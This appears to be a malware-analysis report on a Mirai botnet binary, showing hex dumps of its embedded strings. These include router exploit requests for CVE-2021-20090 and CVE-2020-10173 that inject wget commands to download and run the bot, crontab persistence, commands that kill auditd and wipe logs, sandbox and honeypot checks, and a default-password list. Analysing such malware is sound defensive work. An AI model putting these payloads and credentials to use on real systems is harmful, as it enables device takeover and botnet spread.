bot.armv7l
Mirai botnet with exploits and C2
Hidden stage inputs deleted before executionHidden temp stage is made executable
SHA-25624df3c8fff799c8affb43e78b3e04d1abce9aeb7557648dc6c7cd3bbaec5005b
Evidence
⋯3 more rows
0xa32e40b000000410000000000000000000000....A...........
0xa32f42f6465762f6b6d656d0000002f646576/dev/kmem.../dev
0xa33042f6d656d000000002530347800000000/mem....%04x....
0xa33142f726f6f742f7368656d2f7461726765/root/shem/targe
0xa332474735f6164622e747874000066616c63ts_adb.txt..falc
0xa33346f6e64002f70726f630000002f70726fond./proc.../pro
0xa3344632f25732f636d646c696e6500000000c/%s/cmdline....
0xa33542f70726f632f7379732f71656d755f76/proc/sys/qemu_v
0xa3364657273696f6e000071656d7500000000ersion..qemu....
0xa33742f70726f632f73656c662f6d61707300/proc/self/maps.
0xa33846c6962632e736f2e362d71656d750000libc.so.6-qemu..
⋯4 more rows
0xa33d465742f25732f61646472657373000000et/%s/address...
0xa33e430303a30633a32390000000030303a3500:0c:29....00:5
0xa33f4303a35360000000030383a30303a32370:56....08:00:27
0xa34040000000035323a35343a303000000000....52:54:00....
0xa341430303a31353a35640000000076626f7800:15:5d....vbox
0xa342400000000766d2d006375636b6f6f0000....vm-.cuckoo..
0xa3434686f6e657900000064696f6e61656100honey...dionaea.
0xa3444636f7772696500006b6970706f000000cowrie..kippo...
0xa34546d616c7761726500616e616c79736973malware.analysis
0xa34640000000076616772616e740074657374....vagrant.test
⋯3 more rows
0xa34a4000000002f6574632f64696f6e616561..../etc/dionaea
0xa34b4000000002f6f70742f636f7772696500..../opt/cowrie.
0xa34c42f6574632f636f77726965002f6f7074/etc/cowrie./opt
⋯4 more rows
0xa35142f696e74657261637473682d636c6965/interactsh-clie
0xa35246e7400002f7661722f6c6f672f636f77nt../var/log/cow
0xa3534726965002f7661722f6c6f672f64696frie./var/log/dio
⋯3 more rows
0xa35742f64726f7a6500002f746d702f2e6475/droze../tmp/.du
0xa3584707574002f7661722f746d702f2e7265put./var/tmp/.re
0xa3594737e00002f2e58313100000056697274s~../.X11...Virt
0xa35a475616c426f7800002f7379732f636c61ualBox../sys/cla
⋯3 more rows
0xa45e8462e7a2b25732b257325253342000000F.z+%s+%s%%3B...
0xa45f8474554202f6367692d62696e2f736574GET /cgi-bin/set
0xa460875702e6367693f257320485454502f31up.cgi?%s HTTP/1
0xa46182e310d0a486f73743a2025730d0a436f.1..Host: %s..Co
0xa46286e6e656374696f6e3a20636c6f73650dnnection: close.
0xa46380a0d0a005b6f645f617263616479616e....[od_arcadyan
0xa46485d206376652d323032312d3230303930] cve-2021-20090
0xa46582066697265642061742025733a25640a fired at %s:%d.
0xa4668000000002f6367692d62696e2f75726c..../cgi-bin/url
0xa4678726573746172742e6367693f69703d25restart.cgi?ip=%
0xa46882533422525323425253238776765742b%3B%%24%%28wget+
0xa469825253244712b68747470252533412525%%2Dq+http%%3A%%
0xa46a8324625253246257325253246626f742e2F%%2F%s%%2Fbot.
0xa46b82428756e616d65202d6d292b25253244$(uname -m)+%%2D
0xa46c84f2b25253246746d70252532462e7a25O+%%2Ftmp%%2F.z%
0xa46d82532392525323675726c3d2525324669%29%%26url=%%2Fi
0xa46e86e6465782e6367690000000047455420ndex.cgi....GET
0xa46f8257320485454502f312e310d0a486f73%s HTTP/1.1..Hos
0xa4708743a2025730d0a436f6e6e656374696ft: %s..Connectio
0xa47186e3a20636c6f73650d0a0d0a00000000n: close........
0xa47285b6f645f636f6d7472656e645d206376[od_comtrend] cv
0xa4738652d323032302d313031373320666972e-2020-10173 fir
0xa474865642061742025733a25640a00000000ed at %s:%d.....
0xa47582f636c656172446174612e6367693f63/clearData.cgi?c
0xa47686d643d636c6561722669703d25253342md=clear&ip=%%3B
0xa47782525323425253238776765742b252532%%24%%28wget+%%2
0xa478844712b68747470252533412525324625Dq+http%%3A%%2F%
⋯16 more rows
0xa48986d702f2e7a3b2f746d702f2e7a202573mp/.z;/tmp/.z %s
0xa48a82025732900000000474554202f636769 %s)....GET /cgi
⋯4 more rows
0xa73d825737c2573000000050100002f766172%s|%s......./var
0xa73e8000000006b617673766300006d697261....kavsvc..mira
0xa73f8690000005348454d5f4c414200000000i...SHEM_LAB....
0xa740825732f2e7a0000006370202f70726f63%s/.z...cp /proc
0xa74182f73656c662f65786520257320323e2f/self/exe %s 2>/
0xa74286465762f6e756c6c2026262063686d6fdev/null && chmo
0xa743864202b7820257320323e2f6465762f6ed +x %s 2>/dev/n
0xa7448756c6c00706b696c6c202d39202d7820ull.pkill -9 -x
0xa7458257320323e2f6465762f6e756c6c2026%s 2>/dev/null &
0xa746800000000706b696c6c202d39202d6620....pkill -9 -f
0xa74785b25635d257320323e2f6465762f6e75[%c]%s 2>/dev/nu
0xa74886c6c202600000000617564697463746cll &....auditctl
0xa7498202d65203020323e2f6465762f6e756c -e 0 2>/dev/nul
0xa74a86c2026706b696c6c202d39205b615d75l &pkill -9 [a]u
0xa74b86469746420323e2f6465762f6e756c6cditd 2>/dev/null
0xa74c82026706b696c6c202d39202d66205b73 &pkill -9 -f [s
0xa74d85d6e6f6f7020323e2f6465762f6e756c]noop 2>/dev/nul
0xa74e86c2026706b696c6c202d39202d66205bl &pkill -9 -f [
0xa74f8615d6363746f6e20323e2f6465762f6ea]ccton 2>/dev/n
0xa7508756c6c20260000007472756e63617465ull &...truncate
0xa7518202d732030202f7661722f6c6f672f61 -s 0 /var/log/a
0xa75287574682a202f7661722f6c6f672f7365uth* /var/log/se
0xa753863757265202f7661722f6c6f672f7774cure /var/log/wt
0xa75486d70202f7661722f6c6f672f6c617374mp /var/log/last
0xa75586c6f6720323e2f6465762f6e756c6c20log 2>/dev/null
0xa7568260000002f746d702f6d697261690000&.../tmp/mirai..
0xa75782f746d702f676166677974002f746d70/tmp/gafgyt./tmp
0xa75882f626173686c6974650000002f646576/bashlite.../dev
0xa75982f7761746368646f6700000056000000/watchdog...V...
0xa75a82f6465762f6d6973632f776174636864/dev/misc/watchd
0xa75b86f670000756e6c696e6b202f70726f63og..unlink /proc
0xa75c82f73656c662f65786520323e2f646576/self/exe 2>/dev
0xa75d82f6e756c6c3b20666f7220666420696e/null; for fd in
0xa75e8202f70726f632f73656c662f66642f2a /proc/self/fd/*
0xa75f83b20646f20756e6c696e6b2024666420; do unlink $fd
0xa7608323e2f6465762f6e756c6c3b20646f6e2>/dev/null; don
0xa7618652026005348454d5f4e4f4d41535100e &.SHEM_NOMASQ.
0xa76285348454d5f52414d5f4d42002863726fSHEM_RAM_MB.(cro
0xa76386e746162202d6c20323e2f6465762f6entab -l 2>/dev/n
0xa7648756c6c3b206563686f20272a2f35202aull; echo '*/5 *
0xa7658202a202a202a207b205b202d78202f74 * * * { [ -x /t
0xa76686d702f2e7a205d207c7c206370202f76mp/.z ] || cp /v
0xa767861722f2e7a202f746d702f2e7a20323ear/.z /tmp/.z 2>
0xa76882f6465762f6e756c6c207c7c20637020/dev/null || cp
⋯7 more rows
0xa8d0f002f646174610000002f6d6e74000000./data.../mnt...
0xa8d1f003132392e362e31352e323800313239.129.6.15.28.129
0xa8d2f2e362e31352e3239003136322e313539.6.15.29.162.159
0xa8d3f2e3230302e310000003231362e323339.200.1...216.239
0xa8d4f2e33352e3000000000382e382e382e38.35.0....8.8.8.8
0xa8d5f00382e382e342e3400392e392e392e39.8.8.4.4.9.9.9.9
0xa8d6f00312e312e312e31003230382e36372e.1.1.1.1.208.67.
0xa8d7f3232322e323232000078633335313100222.222..xc3511.
0xa8d8f00313233343536000035343332310000.123456..54321..
⋯4 more rows
0xa8ddf61756c7400616265726465656e000000ault.aberdeen...
0xa8def0061646d696e31000037756a4d6b6f30.admin1..7ujMko0
0xa8dff61646d696e00000000313233342e636fadmin....1234.co
0xa8e0f6d00000000736d6361646d696e000000m....smcadmin...
0xa8e1f00313131310000000034333231000000.1111....4321...
0xa8e2f0037756a4d6b6f3076697a7876000000.7ujMko0vizxv...
0xa8e3f0048494b564953494f4e000000393939.HIKVISION...999
0xa8e4f390000000031323334350000006369739....12345...cis
0xa8e5f636f0000007173646600000000737973co...qsdf....sys
0xa8e6f74656d0000706673656e736500717565tem..pfsense.que
0xa8e7f6e74696e0061646d696e313233340000ntin.admin1234..
0xa8e8f006c65747600000000737570706f7274.letv....support
⋯6 more rows
0xa8eff33323100006b6c7631323300007a6869321..klv123..zhi
0xa8f0f7869616e006a75616e74656368000000xian.juantech...
0xa8f1f0066697265666f780074615a7a403233.firefox.taZz@23
0xa8f2f34390000006d65696e736d0000616e7349...meinsm..ans
0xa8f3f776572000073796e6f6c6f6779000000wer..synology...
0xa8f4f00636973636f31323300000000786d68.cisco123....xmh
0xa8f5f64697063006a75766163616d006c696edipc.juvacam.lin
0xa8f6f75783132330000000077656374323030ux123....wect200
0xa8f7f380000000078746563680000007061738....xtech...pas
0xa8f8f73776f7264310000005a746535323100sword1...Zte521.
⋯7 more rows
0xf0ffb005f5f67657474657874706172736500.__gettextparse.
0xf100b5f5f7374726e63617365636d70005f5f__strncasecmp.__
0xf101b756e6c696e6b005f5f6e73735f686f73unlink.__nss_hos
0xf102b74735f6c6f6f6b757032005f494f5f64ts_lookup2._IO_d
⋯8 more rows
0xf10bb5f5f5f707468726561645f6465746163___pthread_detac
0xf10cb68005f5f5f7072696e74665f66700065h.___printf_fp.e
0xf10db7865636c005f5f67657472616e646f6dxecl.__getrandom
0xf10eb5f666f726b5f73756270726f63657373_fork_subprocess
⋯21 more rows